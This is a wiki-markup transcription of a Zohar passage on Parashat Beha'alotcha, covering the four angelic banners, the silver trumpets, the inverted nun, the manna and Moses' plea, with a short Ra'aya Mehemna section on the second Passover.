&lt;קטע התחלה=דף קנג ב/&gt;'''{{צ|וביום הקים את המשכן}} {{ממ|במדבר|ט|טו}}'''. {{ש}}
ר' חייא פתח {{צ|פִּזַּר נתן לאביונים צדקתו עומדת לעד קרנו תרום בכבוד}} {{ממ|תהלים|קיב|ט}}. {{ש}}
{{צ|פזר נתן לאביונים}} - מאי {{צ|פִּזַּר}}? כמה דאת אמר {{צ|יש מפזר ונוסף עוד}}{{ש}} {{ממ|משלי|יא|כד}}. יכול פזור בעלמא? {{ש}}
קמ&quot;ל {{צ|פזר נתן לאביונים}} - כיון דיהיב למסכני האי פזורא יאות. 

מאי {{צ|ונוסף עוד}}? {{ש}}
בכלא! {{צ|ונוסף עוד}} - בעותרא! {{צ|ונוסף עוד}} - בחיי! 

האי קרא הכי מבעי ליה: &quot;יש מפזר '''ויוסף עוד'''&quot;! מאי {{צ|ונוסף}}? {{ש}}
אלא ההוא אתר דשרי ביה מיתה - הוא גרים ליה דיתוסף מחיים דלעילא לאוספא ליה. 

אמר רבי יהודה אמר רבי חייא: קרא אסהיד דכל מאן דיהיב למסכני - אתער אילנא דחיי לאוספא לההיא אילנא דמותא, וכדין אשתכח חיים וחדו לעילא. ובר נש דגרים דא בשעתא דאצטריך ליה - ההוא אילנא דחיי קאים עליה וההוא אילנא דמותא אגין עלוי. ובגין כך {{צ|ונוסף עוד}}. &lt;קטע סוף=דף קנג ב/&gt;

{{ממ זהר משולב|ג|קנד|א}} {{ש}}
&lt;קטע התחלה=דף קנד א/&gt;{{צ|צדקתו עומדת לעד}} - מאי {{צ|עומדת לעד}}? עומדת עליה דבר נש לזמנא ליה קיומא וחיים. כמה דאיהו יהיב ליה חיים ואתער לגבי חיין - הכי נמי יהבין ליה. ואינון תרי אילנין  קיימין עליה לשיזבא ליה ולאוספא ליה חיין. 

{{צ|קרנו תרום בכבוד}} {{ממ|תהלים|קיב|י}} - תא חזי עלמא דאמרן ההוא קרן - {{צ|תרום}}. ובמה? {{צ|בכבוד}} דלעילא. {{ש}}
דהאי בר נש גרים לחברא לון כחדא ולארקא ברכאן לעילא ותתא. 

רבי אבא אמר בכל זמנא דמשכנא אתקם בעובדיהון דבני נשא - כדין ההוא יומא יומא דחדווה דכלא, ומשח רבות קדישא אתרק בהנהו בוצינין, ונהרין כלהו. מאן דגרים דא - גרים ליה  דישתזיב בהאי עלמא ויהא ליה חיים בעלמא דאתי. הדא הוא דכתיב {{צ|וצדקה תציל ממות}} {{ממ|משלי|י|ב}}, וכתיב {{צ|וארח צדיקים כאור נגה הולך ואור עד נכון היום}} {{ממ|משלי|ד|יח}}.


'''{{צ|עשה לך שתי חצוצרות כסף וגו'}} {{ממ|במדבר|י|ב}}'''. {{ש}}
רבי שמעון פתח {{צ|ובלכת החיות ילכו האופנים אצלם ובהנשא החיות מעל הארץ ינשאו האופנים}} {{ממ|יחזקאל|א|יט}}. {{צ|ובלכת החיות}} - בקוזפירא דלעילא הוו אזלי. דאי תימא דהאי לעילא לעילא -- לאו! לתתא! אלא כגוונא 'האי מקמי אנפין והאי לבתר אנפין'. 

זיקא מארבע זיקין בארבע מדורין ובארבע סטרין, בזיוון דאתברון, בקולמיטין דאנפין נהירין. בגין כך כעין  {{צ|כמראה החיות}} - דאינון ארבע זויין דגלין פרישן. 

'''אריה נשר שור'''. '''אדם''' - דכליל כלהו ד' מלאכין, דשלטין וכלילן כלא.


'''דגלא קדמאה''' - משריא מזיינא '''אריה'''. '''מיכאל'''. רשים בפרישו דגלא פרישא לימינא.{{ש}}
מזרח - שירותא דשמשא אזיל במטלנוי בנהירו. 

תרין ממנן תחות ידיה - '''יופיאל צדקיאל'''. {{ש}}
חד לאורתא{{הערה|(נ&quot;א לאורייתא)}} וחד למיהך בשוקא דאזיל. {{ש}}
כד אלין נטלין - נטלין כמה משריין מזיינין מסטרא דימינא. וכלא חד לסטרא שמאלא! שמשא אזיל  ונהיר ומעטר להו. אלף ורבוון ממנן תחותוי וכלהו בדחילו באימתא בזיע ברתת. 

אריה אושיט ידיה ימינא - כניש לכל חילוי לגביה. תלת מאה ושבעין אלף אריוותא סוחרניה דההוא ארי&quot;ה, ואיהו בינייהו באמצעיתא. 

כד געי האי אריה - מזדעזען רקיעין וכל חילין ומשריין מזדעזעין מדחילו דיליה! מההוא קלא נהר די נור מתלהטא ונחית באלף וחמש מאה דרגין דגיהנם לתתא. כדין כלהו חייבין דגיהנם מזדעזען ומלהטן אשא. ועל דא כתיב {{צ|אריה שאג מי לא יירא}} {{ממ|עמוס|ג|ח}}. 

געי תניינות - תלת מאה ושבעין אלף אריוותא כלהו געאן. {{ש}}
אושיט ידיה שמאלא - כל מאריהון דדינא לתתא דחלין ואתכפיין תחות ההוא ידא. וההוא ידא פשיט עלייהו וכלהו תחותיה, כמה דאת אמר {{צ|ידך בעורף אויביך}} {{ממ|בראשית|מט|ח}}. 

ארבע גדפין לכל חד וחד. מאשא חוורא כלהו מלהטין. כל אפין דחזור ושושן בחוורתא דההוא אשא שקיען. 

ארבע אנפין לכל חד וחד לארבע סטרין - כלהו נהירין בחוורא דשמשא. 
* חד לסטר מזרח - נהיר בחדו, 
* וחד לסטר מערב -  דא כניש נהוריה, 
* וחד לסטר צפון - חשוך בלא נהירו, כצלא דשמשא לגבי שמשא; צלא חשוך, שמשא נהיר. בגין דשמשא וצלא - ימינא ושמאלא, ואזלא כחדא. 


חושבן דאזלין עמיה - כל אינון דנטלין זיינא. וכלהו מימינא ומשמאלא בתלת רישין. 
* רישא חדא דיליה - {{קיצור|שבעין וארבע אלף ושית מאה|74,600}} {{ממ|במדבר|א|כז}} - אלין אינון רישא חד נפקי חילא בימינא דאיהו ארים עלייהו. בר כל אינון ממנן דלתתא תחות אלין. שלטונין אלין על אלין, דרגין תתאין עם עלאין, דלית לון חושבנא. 

* רישא תניינא - דאזיל ברישא קדמאה. חושבן דיליה {{קיצור|חמשין וארבע אלף וארבע מאה|54,400}} {{ממ|במדבר|א|כט}}, בר כל אלין ממנן דתחותיה לארבע סטרין דלית לון חושבנא.&lt;קטע סוף=דף קנד א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנד|ב}}{{ש}}
*&lt;קטע התחלה=דף קנד ב/&gt;רישא תליתאה דאזיל בתרייהו - {{קיצור|חמשין ושבעה אלף וארבע מאה|57,400}} {{ממ|במדבר|א|לא}}. 

כגוונא דנטיל ימינא - הכי נמי נטיל שמאלא! הכי נמי מקמייהו, הכי נמי מבתרייהו! 

כיון דנטיל האי קדמאה - {{צ|והורד המשכן}} {{ממ|במדבר|י|יז}} - וכלהו ליואי אמרי שירתא. מארי דתושבחן כלהו מסטריה. כדין {{צ|כי רוח החיה באופנים}} {{ממ|יחזקאל|א|כ}} כתיב. 


'''דגלא תניינא''' - משרייא מזיינא '''נשר אוריאל דרום'''. {{ש}}
תרי ממנן עמיה - '''שמשיאל חסדיאל'''. 

האי נשר סליק וכל מאריהון דגדפין מקמיה. כמה משריין סלקין בכל סטרין; כל חד וחד בתוקפא דשמשא. רוחא דרוחא פנימאה נפיק, וההוא רוחא מטי להאי נשר וסליק אברוי ומכסייא לגופא, כמה דאת אמר {{צ|המבינתך יאבד נץ יפרוש כנפיו לתימן}} {{ממ|איוב|לט|כו}}. כגוונא, כדוגמא, כעין. {{צ|כנשר יעיר קנו}} {{ממ|דברים|לב|יא}}.{{ש}}  
האי נשר - נץ בהדיה. יונה בהדיה נץ. וכל מארי דגדפין כלהו מצפצפן וחדאן. 

חד מסטרא  קמיה סליק מתתא לעילא. כמה ציפרין נחתין ועאלין, מצפצפן וחדאן, אזלין ושאטין. 

כד נטיל - אושיט גדפא ימינא, כניש לכל חילוי - תלת מאה וחמשין אלף מארי דגדפין בתרי גופי - '''נשר ואריה''' כחדא. {{ש}}
ארים קלא - כלהו אחרנין סלקין ונחתין מצפצפן מסטרייהו מכמה דרגין. 


תלת רישין אינון כחדא במשריין אלין, וכלהו בחד חושבן, וחושבן דאלין רישין. 
* רישא חדא - {{קיצור|ארבעין ושית אלף וחמש מאה|46,500}} {{ממ|במדבר|א|כא}}. 
* רישא תנינא - {{קיצור|חמשין ותשע אלף ותלת מאה|59,300}} {{ממ|במדבר|א|כג}}. 
* רישא תליתאה - {{קיצור|ארבעין וחמש אלפין ושית מאה וחמשין|45,650}} {{ממ|במדבר|א|כה}}. {{ש}}
מאלין תרי סטרין נפקי תרין כרוזי דאזלי מקמי כלהו משריין. כד אלין תרי מכריזי - כל חילין וכל משריין חיוון זעירין עם רברבן כלהו מתכנשי. מאן חמי נטילא דכלהו רקיעין! כולהו נטלין במטולא במשריין לקמיה דההוא משכנא! 

בשעתא דחד מנייהו, ההוא דאתי מסטרא דאריה, פשיט קלא בגין דלא יזדעזעון כל אינון קלין - כדין מתכנשין כל אינון משריין. בשעתא דאחרא קרי - מתבר קלא ולא פשיט. כל אינון משריין דהאי נשר כלהו מתכנשו לנטלא במטלנייהו. {{ש}}
לקביל אינון - '''{{צ|שתי חצוצרות כסף}}'''. {{ש}}
כגוונא דא כלא לתתא.

תא חזי כד אלין נטלין מה כתיב? {{צ|ובלכת החיות ילכו האופנים אצלם}} {{ממ|יחזקאל|א|יט}} - אינון דמתכנשו לגביהו כגוונא דרישא אסתכל - הכי נמי כלהו. 


'''דגלא תליתאה''' - '''שור, גבריאל, צפון'''. {{ש}}
תרין ממנן עמיה - '''קפציאל חזקיאל'''. 

האי שור מסטרא דשמאלא. קרנוי סלקין בין תרין עינוי. רגיז באסתכלותא. עיינין מלהטן כאשא דנור דליק. נגח ורפסא ברגלוי ולא חייס. 

כד געי האי שור - נפקין מנוקבא דתהומא רבא כמה חבילי  טריקין. כלהו געאן ושטאן קמיה. וחימתא ואחמתא דכל חובין תלייא קמיה - דהא כל חובי עלמא כלהו בספרא סליקין וכתיבין. 

שבעה נהרי דאשא נגדין קמיה. כד צחי - אזיל לגבי ההוא נהר דינור ושאיב ליה בגמיעא חדא, וההוא נהר אתמלי כדבקדמיתא ולא כדיב. 

כל אינון חיילין שאבין 'אשא אכלא אשא'. ואלמלא דמסטרא דאריה נפיק חד נהרא דמייא דמכבין גחלתייהו - לא יכל עלמא למסבל! 

חשוכא דשמשא תמן אשתכח. לא אשתכח נהירו. כמה גרדיני נמוסין אזלין ושטאן בחשוכא, וההוא נהר דדליק בסטרא דא - נורא אוכמא חשוך. 

ואי תימא דלא אית אשא חוורא, אשא אוכמא, אשא סומקא, אשא דתרי גווני -- לא תימא! דהא ודאי הכי הוא! ועם כל דא לעילא לעילא הכי אשתכח, ומתמן נגיד לאלין תתאי. 


תנינן: אורייתא במה אשתכחת? אשא חוורא, ואשא אוכמא על גבי אשא חוורא. בתרי אשי אשתכחת אורייתא! {{ש}}
תא חזי אשא חדא הוא והאי אתפלג לארבעה. &lt;קטע סוף=דף קנד ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנה|א}}{{ש}}
&lt;קטע התחלה=דף קנה א/&gt;מיא - חדא איהו - והאי אתפליג לארבע! {{ש}}
רוחא - חדא איהו - והאי אתפליג לארבע! 

תלת רישין אשתכחו  במשריין אלין. חושבן דלהון: 
* רישא חדא - {{קיצור|שתין ותרי אלף ושבע מאה|62,700}}.  
* רישא תניינא - {{קיצור|ארבעין וחד אלף וחמש מאה|41,500}}.  
* רישא תליתאה - {{קיצור|תלת וחמשין אלף וארבע מאה|53,400}}. {{ש}}
בר כל אינון דרגין אחרנין דאתפרשן בסטרייהו ולית לון חושבנא. 

כלהו דרגין על דרגין - בר כמה גרדיני נמוסין דאינון לתתא חציפין ככלבא נשכין כחמרא. {{ש}}
ווי מאן דאשתכח גבייהו! {{ש}}
ודינא דלהון בסטרא רביעאה. 


'''דגלא רביעאה''' - '''אדם, רפאל, מערב'''. {{ש}}
בהדיה אסוותא. {{ש}}
בסטרא דאדם אתכליל דינא עלאה - עליה אתסי. {{ש}}
האי  אחיד בקרנוי דשור כד מבעי לאעלא לון לתהומא רבא, וכפית לון דלא יוקיד עלמא. 

בתר דא שריא {{צ|קול דממה דקה}} {{ממ|מ&quot;א|יט|יב}}.  הכא מלה בחשאי - לא משתמע מלה דהברה כלל. 

בסטרא דא שריא מאן דשריא, סליק מאן דסליק, שמשא אתכניש לאנהרא להאי אתר. 

בגין כך {{צ|ותקעתם תרועה}} בסטר דרום {{ממ|במדבר|י|ו}}. אבל הכא - לאו האי ולאו האי. אמאי תרועה? לאכפייא סטר צפון. ובגין כך סטר צפון לאחורא. 

תא חזי שתי חצוצרות - בגין דאינון מסטרי תרי דקאמרי ממזרח ומדרום - אינהו זמינין לתברא דינין ולאכפייא לון. ועל דא אינון מכסף. ובגין כך '''{{ממ|במדבר|י|י}} {{צ|וביום שמחתכם ובמועדיכם וגו' ותקעתם בחצוצרות}}''' סתם - בין לעילא בין לתתא. 

זכאין אינון ישראל! דקב&quot;ה בעי ביקריהון, ויהיב לון חולקא עלאה על כל שאר עמין, וקב&quot;ה אשתבח בהו בתושבחתייהו. הדא הוא דכתיב {{צ|ויאמר לי עבדי אתה ישראל וגו'}} {{ממ|ישעיהו|מט|ג}}.


'''{{צ|ויהי בנסוע הארון ויאמר משה וגו'}} {{ממ|במדבר|י|לה}}'''. {{ש}}
רבי אלעזר אמר הכא אית לאסתכלא - '''נ'''' דאיהו  מנוזר לאחורא אמאי? אמאי בתרי דוכתא הכא? {{ש}}
ואי תימא '''נ' כפופה''' -- הא ידיעה! '''נ' כפופה''' - נוקבא, '''ן' פשוטה''' - כללא דדכר ונוקבא. והא אוקימנא באתר דא {{צ|ויהי בנסוע הארון}}.  {{ש}}
אמאי אתהדר לבתר כגוונא דא [ציור של נ']? 

תא חזי '''נ'''' ב{{צ|אשרי יושבי ביתך}} לא אתמר בגין דהיא בגלותא. והא אוקמוה חברייא דכתיב {{צ|נפלה לא תוסיף קום בתולת ישראל וגו'}} {{ממ|עמוס|ה|ב}}. אלא מה כתיב לעילא? {{צ|וארון ברית יהוה נוסע לפניהם דרך שלשת ימים לתור להם מנוחה}} {{ממ|במדבר|י|לג}} - כיון דהוה נטיל ארונא - '''נ'''' נטיל  עמיה. והא שכינתא על גבי ארונא יתיב. 

תא חזי חביבותא דקב&quot;ה לגבייהו דישראל! דהא אע&quot;ג דאינון סטאן מארח מישר - קב&quot;ה לא בעי לשבקא לון, ובכל זמנא אהדר אנפוי לקבלייהו. דאי לאו הכי לא יקומון בעלמא. 

תא חזי ארונא הוה נטל קמייהו ארח תלתא יומין - '''נ'''' לא הוה מתפרש מניה! ונטיל עמיה! ומגו רחימו דלהון דישראל - אהדר אנפוי ואסתחר מלגבי ארונא כהאי איילא דעזלתא כד איהו אזיל - אהדר אפוי לאתר דנפיק. ועל דא {{צ|בנסוע הארון}} - '''נ'''' אסחר אנפין לקבלייהו דישראל, וכתפי גופא לגבי ארונא. 

ועל דא כד ארונא הוה נטיל משה אמר {{צ|קומה יהוה}} - לא תשבוק לן! אהדר אנפך לגבן! כדין '''נ'''' אתהדר לגבייהו כגוונא דא [ציור], כמאן דמהדר אנפיה למאן דרחים. {{ש}}
וכד הוה שארי ארונא למשרי - כדין אהדר '''נ'''' [ציור] אנפוי מישראל ואתהדר לגבי ארונא. ובכלא אתהדר. 


אמר ר' שמעון: אלעזר בודאי הכי הוא! אבל הכא לא אהדר אנפוי מישראל! דאי הכי בעי '''נ'''' לאתהפכא מגוונא אחרא לעילא. האי '''נ'''' מנוזר לאחורא והאי בארח מישר לגבי ארונא. 

אלא ודאי לא אהדר אנפוי מנייהו! ומה עביד? בשעתא דשארי ארונא למשרי אמר משה {{צ|שובה יהוה}} {{ממ|במדבר|י|לו}} - כדין שארי ארונא ושכינתא קאים בסטרא אחרא ואנפין לקבלייהו דישראל ולקבליה דארונא, ובגין כך כדין כליל לכוונא לארונא ולישראל. &lt;קטע סוף=דף קנה א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנה|ב}}{{ש}}
&lt;קטע התחלה=דף קנה ב/&gt;אלא דישראל גרמו לבתר דכתיב {{צ|ויהי העם כמתאוננים}} {{ממ|במדבר|יא|א}}. 


אמר רבי אלעזר: &quot;''אנא דאמרן מספרא דרב ייבא סבא דאמר דבין בהאי גיסא ובין בהאי גיסא אתהדר!''&quot; {{ש}}
אמר ליה: &quot;''שפיר קאמר! אבל דא דאמינא הכי תשכח בספרא דרב המנונא סבא והכי הוא ודאי!''&quot;


'''{{צ|והמן כזרע גד הוא}} {{ממ|במדבר|יא|ז}}'''. {{ש}}
אמר רבי יוסי לקיימא זרעא וחילין בארעא, כמה דאת אמר {{צ|גד גדוד יגודנו}} {{ממ|בראשית|מט|יט}}. מה זרעא דגד - נטלי חולקיהון בארעא אחרא, כך מָן שריא עלייהו דישראל לבר מארעא קדישא! {{ש}}
דבר אחר: {{צ|כזרע גד הוא}} - כזרעא דגד חוורא, ואקפי כד נחית לאוירא ואתבלע בגופא. והא אוקמוה חברייא. {{ש}}
'''{{צ|ועינו כעין הבדולח}}''' - כההוא בדולחא דאיהו חוור כגוונא דימינא  דלעילא. 


אמר רבי יצחק: מאי שנא  דמשה במלה דא חליש לעילא כנוקבא דכתיב '''{{צ|אם ככה את עושה לי}} {{ממ|במדבר|יא|טו}}'''? {{צ|את}}!? &quot;אתה&quot; מבעי ליה?! {{ש}}
אלא לאתר דמותא שארי ביה קאמר! וההוא אתר דנוקבא איהו. בגין כך אמר '''{{צ|הרגני נא הרוג}}'''. ודא אילנא דמותא. והא אוקימנא דבאילנא דחיי לא שרייא ביה מותא. ועל דא אתהדר לגבי אילנא דמותא ואמר {{צ|את}} ולא אמר 'אתה'. והכי מבעי ליה! 


מיד '''{{צ|ויאמר יהוה אל משה אספה לי שבעים איש וגו'}} {{ממ|במדבר|יא|טז}}'''. {{ש}}
אמר ליה קב&quot;ה: את בעי מותא בכל זמנא! הרי לך! -- '''{{צ|ואצלתי מן הרוח וגו'}} {{ממ|במדבר|יא|יז}}'''. 

תא חזי דהכא ידע משה דאיהו ימות ולא ייעול לארעא - דהא אלדד ומידד מלה דא הוו אמרי. {{ש}}
על דא לא לבעי ליה לאינש בשעתא דרוגזא שארי ביה ללטייא גרמיה - דהא כמה קיימי עליה דמקבלי ההיא מלה. {{ש}}
בזמנא אוחרנא דבעא מיתה - לא קבילו מניה, בגין דכלא לתועלתא דישראל הוה. השתא - לאו איהו אלא מגו רוגזא ודוחקא, ובגין כך קבילו מניה! ועל דא אשתארו לבתר אלדד ומידד ואמרו דא; דמשה יתכניש ויהושע ייעול לון לישראל לארעא. 

ובגין כך אתא יהושע לגבי משה וקני עליה דמשה. ומשה לא אשגח ביקרא דיליה. ועל דא אמר '''{{צ|אדני משה כלאם}} {{ממ|במדבר|יא|כח}}'''. מאי {{צ|כלאם}}? מנע מנהון אינון מלין כמה דאת אמר {{צ|ויכלא העם מהביא}} {{ממ|שמות|לו|ו}}, {{צ|ויכלא הגשם מן השמים}} {{ממ|בראשית|ח|ב}} - מניעותא ממש. ומשה לא בעא. 

פוק חמי ענוותנותיה דמשה! מה כתיב '''{{צ|המקנא אתה לי וגו'}} {{ממ|במדבר|יא|כט}}'''. {{ש}}
זכאה חולקיה דמשה דאיהו סליק על כלהו נביאי  דעלמא! {{ש}}
אמר רבי יהודה: כל שאר נביאין לגבי משה - כסיהרא לגבי שמשא. 

===קטע זמני===
'''רבי אבא''' הוה יתיב ליליא חד ולעי באורייתא. והוו עמיה '''ר' יוסי ור' חזקיה'''. {{ש}} 
אמר רבי יוסי: כמה אינון בני נשא תקיפי לבא דלא משגחי במלי דההוא עלמא כלום! {{ש}} 
אמר רבי אבא: 'בישא דלבא' דאחידא בכל שייפי גופא קא עביד לון! 

פתח ואמר: {{צ|יש רעה אשר ראיתי תחת השמש ורבה היא על האדם}} {{ממ|קהלת|ו|א}}. {{ש}}
{{צ|יש רעה}} - דא איהי תוקפא בישא דלבא.  דבעי לשלטאה במילי דהאי עלמא, ולא אשגח במילי דההוא עלמא מידי.

אמאי איהי {{צ|רעה}}? {{ש}}
קרא דבתריה אוכח דכתיב {{צ|איש אשר יתן לו האלהים עושר ונכסים [וכבוד ואיננו חסר לנפשו מכל אשר יתאוה ולא ישליטנו האלהים לאכל ממנו כי איש נכרי יאכלנו זה הבל וחלי רע הוא]}} {{ממ|קהלת|ו|ב}}.{{ש}}
האי קרא קשיא! כיון דכתיב {{צ|ואיננו חסר לנפשו מכל אשר יתאוה}} - אמאי {{צ|ולא ישליטנו האלהים לאכול ממנו}}? דהא אינו חסר לנפשו כלום? 

אלא רזא איהו! וכל מלוי דשלמה מלכא מתלבשן אינון במלין אחרנין. כמלי דאורייתא דאינון מתלבשן בספורי עלמא! &lt;קטע סוף=דף קנה ב/&gt;

{{ממ זהר משולב|ג|קנו|א}}

&lt;קטע התחלה=דף קנו א/&gt;תא חזי! אף על גב דבעינן לאסתכלא בלבושא - השתא האי קרא הכי קאמר! דבר נש אזיל בהאי עלמא, ויהיב ליה קב&quot;ה עותרא בגין דיזכי ביה לעלמא דאתי וישתאר לגביה קרן. מאי קרן? ההוא דאיהו קיים דאיהו אתר לאתצררא בית נשמתא. {{ש}}
בגין כך בעי לאשארא  עותריה להאי 'קרן', והאי 'קרן' יקבל ליה בתר דיפוק מהאי עלמא. בגין דהאי קרן הוא אילנא דחיי דההוא עלמא. ולא קיימא בהאי עלמא אלא ההוא איבא דנפיק מניה. ועל דא איבא דיליה אכיל בר נש דזכי בהאי עלמא, {{צ|והקרן}} קיימא ליה לההוא עלמא למזכי ביה בחיין עלאין דלעילא. 

ומאן דסאיב גרמיה ואתמשך בתר גרמיה, וליתיה חסר לנפשיה ולגרמיה כלום, וההוא אילנא אשתאר ולא שויה לקבליה בדחילו ולקבלא ליה לעילא -- כדין {{צ|ולא ישליטנו האלהים לאכל ממנו}} ולמזכי בההוא עותרא! ודאי 'איש אחר יאכלנו', כמה דאת אמר {{צ|יכין וצדיק ילבש}} {{ממ|איוב|כז|יז}}. 

בגין כך בעי בר נש למזכי במה דיהיב ליה קב&quot;ה לההוא עלמא! וכדין אכיל מיניה בהאי עלמא, וישתאר לגביה ההוא קרן לעלמא אחרא, למהוי צרורא בצרורא דחיי. 

אמר רבי יוסי: &quot;''ודאי!''&quot;


תו אמר רבי יוסי: כתיב {{צ|אם ככה את עושה לי הרגני נא וגו'}} {{ממ|במדבר|יא|טו}} - וכי משה דאיהו ענו מכל בני עלמא - בגין דשאילו מניה ישראל למיכל מסר גרמיה למיתה!? אמאי? 

א&quot;ר אבא: האי מלה אוליפנא ורזא עלאה איהו! {{ש}}
משה לא אבאיש קמיה ולא שאל למיתה על דשאילו ישראל! תא חזי משה אתאחד והוה סליק במה דלא אתאחד נביאה אחרא - דהא אחיד צדקה הוה. ובשעתא דאמר ליה קב&quot;ה למשה {{צ|הנני ממטיר לכם לחם מן השמים}} {{ממ|שמות|טז|ד}} - חדי משה ואמר &quot;''ודאי השתא ההוא שלימו בי אשתכח, דהא בגיני אשתכח מן לישראל!''&quot;. כיון דחמא משה דאהדרו לנחתא לדרגא אחרא ושאילו בשר ואמרי {{צ|ונפשנו קצה בלחם הקלוקל}} {{ממ|במדבר|כא|ה}}, אמר אי הכי הוא - הא דרגא דילי פגים, דהא בגיני ייכלון ישראל מן במדברא. הא אנא פגימא ואהרן פגים ונחשון בן עמינדב פגים. 

אמר {{צ|ואם ככה את עושה לי הרגני נא הרוג}} - דחשיבנא נוקבא במיכלא דילה. ואנא נחית מן שמייא דאיהו דרגא עלאה לנחתא לדרגא דנוקבא. ואנא עדיף מן שאר נביאי עלמא. ועל דא אמר {{צ|ואל אראה ברעתי}}  ודאי! לנחתא לדרגא תתאה! 

כדין {{צ|ויאמר יהוה אל משה אספה לי שבעים איש}} - את שאיל אתר דמותא - לא תבעי אתר דא - דלא תהא פגים בדרגא דילך! ועל דא כתיב {{צ|ואצלתי מן הרוח אשר עליך}} - דכלהו אינון דתמן - אתאחדו בסיהרא ובעי שמשא לאנהרא לה. ועל דא {{צ|ושמתי עליהם}} בגין לאנהרא מן שמשא כנהורא דסיהרא. 

ובגיני האי מיכלא דא לא אתייא על ידא דמשה בגין דלא יתפגים. 

זכאה חולקא דמשה דקב&quot;ה בעי ביקריה! עליה כתיב {{צ|ישמח אביך ואמך וגו'}} {{ממ|משלי|כג|כה}}. {{צ|ישמח אביך}} דא קב&quot;ה, {{צ|ואמך}} דא כנסת ישראל. {{צ|ותגל יולדתך}} - דא אימא דמשה דלתתא קב&quot;ה רחים ליה יתיר מכל נביאי עלמא בלא אמצעי כלל, דכתיב {{צ|פה אל פה אדבר בו}}. והא אוקימנא בכמה אתר:


'''{{צ|ויצעק משה אל יהוה לאמר אל נא רפא נא לה}} {{ממ|במדבר|יב|יג}}'''. הא אוקמוה והוא רזא דשמא קדישא, מחד סרי אתוון, ולא בעא משה לצלאה יתיר בגין דעל דידיה למלכא לא בעי &lt;קטע סוף=דף קנו א/&gt;{{ממ זהר משולב|ג|קנו|ב}}&lt;קטע התחלה=דף קנו ב/&gt;לאטרחא יתיר. בגין כך קב&quot;ה בעא על יקרא דמשה. ובכל אתר קב&quot;ה בעא על יקריהון דצדיקייא יתיר על דיליה. ולזמנא דאתי עתיד קב&quot;ה למתבע עלבונא דישראל מעמין עכו&quot;ם ולמחדי לון בחדוותא דציון דכתיב {{צ|ובאו ורננו במרום ציון וגו'}} {{ממ|ירמיהו|לא|יא}}. וכדין {{צ|ובא לציון גואל וגו'}} {{ממ|ישעיהו|נט|כ}}. 

'''ברוך יהוה לעולם אמן ואמן ימלוך יהוה לעולם אמן ואמן'''&lt;קטע סוף=דף קנו ב/&gt;

==פרשת בהעלותך - רעיא מהימנא==
{{ממ זהר משולב|ג|קמח|ב}}&lt;קטע התחלה=רע&quot;מ דף קמח ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמח ב/&gt;

{{ממ זהר משולב|ג|קמט|א}}&lt;קטע התחלה=רע&quot;מ דף קמט א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמט א/&gt;

{{ממ זהר משולב|ג|קמט|ב}}&lt;קטע התחלה=רע&quot;מ דף קמט ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמט ב/&gt;

{{ממ זהר משולב|ג|קנ|א}}&lt;קטע התחלה=רע&quot;מ דף קנ א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנ א/&gt;

{{ממ זהר משולב|ג|קנ|ב}}&lt;קטע התחלה=רע&quot;מ דף קנ ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנ ב/&gt;

{{ממ זהר משולב|ג|קנא|א}}&lt;קטע התחלה=רע&quot;מ דף קנא א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנא א/&gt;

{{ממ זהר משולב|ג|קנא|ב}}&lt;קטע התחלה=רע&quot;מ דף קנא ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנא ב/&gt;

{{ממ זהר משולב|ג|קנב|א}}&lt;קטע התחלה=רע&quot;מ דף קנב א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנב א/&gt;


{{ממ זהר משולב|ג|קנב|ב}}

&lt;קטע התחלה=רע&quot;מ דף קנב ב/&gt;'''פקודא [ל'] למעבד פסח שני על אינון דלא יכילו או דאסתאבו במסאבו אחרא'''. 

אי רזא דפסח רזא דמהימנותא - דישראל עאלין בה שלטא בניסן וכדין איהו זמנא לחדוה - איך יכלין אלין דלא יכילו או דאסתאבו למעבד בירחא תניינא דהא אעבר זמנא!?

אלא כיון דכנסת ישראל מתעטרא בעטרהא בניסן - לא אתעדיאת כתרהא ועטרהא מינה תלתין יומין. וכל אינון תלתין יומין מן יומא דנפקו ישראל מפסח - יתבא מטרוניתא בעטרהא וכל חילהא בחדוה. מאן דבעי למחמי למטרוניתא יכיל למחמי. כרוזא כריז &quot;''כל מאן דלא יכיל למחמי מטרוניתא - ייתי ויחמי עד לא ינעלון תרעיה!''&quot; 

אימתי כרוזא כריז? בארבעה עשר לירחא תניינא. דהא מתמן עד שבעה יומין תרעין פתיחן. מכאן ולהלאה - ינעלון תרעי. ועל דא פסח שני. {{קטן|'''(עד כאן)'''}}


({{צ|פקודא דא לספור ספירת העומר}} - {{ממ זהר|ג|צז|א}})


'''פקודא דא שחיטת הפסח בזמנו. ואבתריה פסח ראשון ופסח שני לאכול אותן כמשפטן. וטמאים להיות נדחים לפסח שני דאיהו פקודא תליתאה'''

תנאין ואמוראין! {{ש}}
אית בני נשא כחולין דטהרה מסטרא דמיכאל,{{ש}} 
וכחולין דהקדש כגון בשר קדש ואינון מסטרא דגבריאל. {{ש}}
כהן ולוי.{{ש}} 
ואית בני נשא דאינון כיומין טבין ואינון קדש קדשים.


